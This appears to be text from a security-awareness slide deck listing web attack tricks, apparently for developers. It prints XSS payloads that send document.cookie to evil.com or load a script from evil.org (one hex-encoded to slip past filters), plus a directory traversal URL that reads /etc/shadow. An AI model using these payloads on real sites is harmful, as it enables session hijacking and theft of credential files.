20 Hacker Tricks For Attacking Web Apps
20 Hacker Tricks For Attacking Web Apps
Malicious hackers:
• can earn $$$
• have big‐time imagination (at least the elite ones)
• spend more time thinking about security holes
than the typical developer
• have a strong and growing community of
developers and other experts
• can have a poor batting average and still win
Hacker (popular usage) != Hacker (geek usage)
http://en.wikipedia.org/wiki/Hacker
http://en.wikipedia.org/wiki/Hacker_definition_
controversy
‘nuff said
Feed an Onion to the XSS Filter
<img src="javascript:window.navigate
('http://evil.com/steal‐cookie.php?c='
+document.cookie);">
Alternative JavaScript #2
\x3cscript\x20src\x3d"http://evil.org/xss.
js"\x3e\x3c/script\x3e
In other words:
<script
src="http://evil.org/xss.js"></script>
Edit the DOM
<b onMouseOver="self.location.href
='http://evil.com/'">pwn’d</b>
More XSS
http://www.technicalinfo.net/papers/CSS.html
http://ha.ckers.org/xss.html
CSRF (Gmail Incident)
http://www.gnucitizen.org/blog/google‐gmail‐e‐
mail‐hijack‐technique/
Fun with Form Fields
http://domain.com/
http://domain.com/admin/
Manipulate Parameters
http://domain.com/index.php?user=135
http://domain.com/index.php?user=1
Version Intelligence
http://www.securityfocus.com/archive/1
Crack Cookies
http://www.lightbluetouchpaper.org/2007/11/2
0/wordpress‐cookie‐authentication‐
vulnerability/
Sniff for Passwords
http://www.securityfocus.com/bid/27174/exploit
File Inclusion (Browser)
<img src="http://evil.org/xss.js">
Directory Traversal
http://sucka.com/filez/download.php?file=../../.
./../../../../../../../../../../etc/shadow
JSON Callbacks
http://blog.adamjacobmuller.com/gmail.txt
http://ajaxian.com/archives/gmail‐csrf‐security‐
flaw
What to Do?
Test
References and Resources
http://www.owasp.org
http://phpsec.org
http://phpsecurity.org
http://www.sans‐ssi.org
http://www.webappsec.org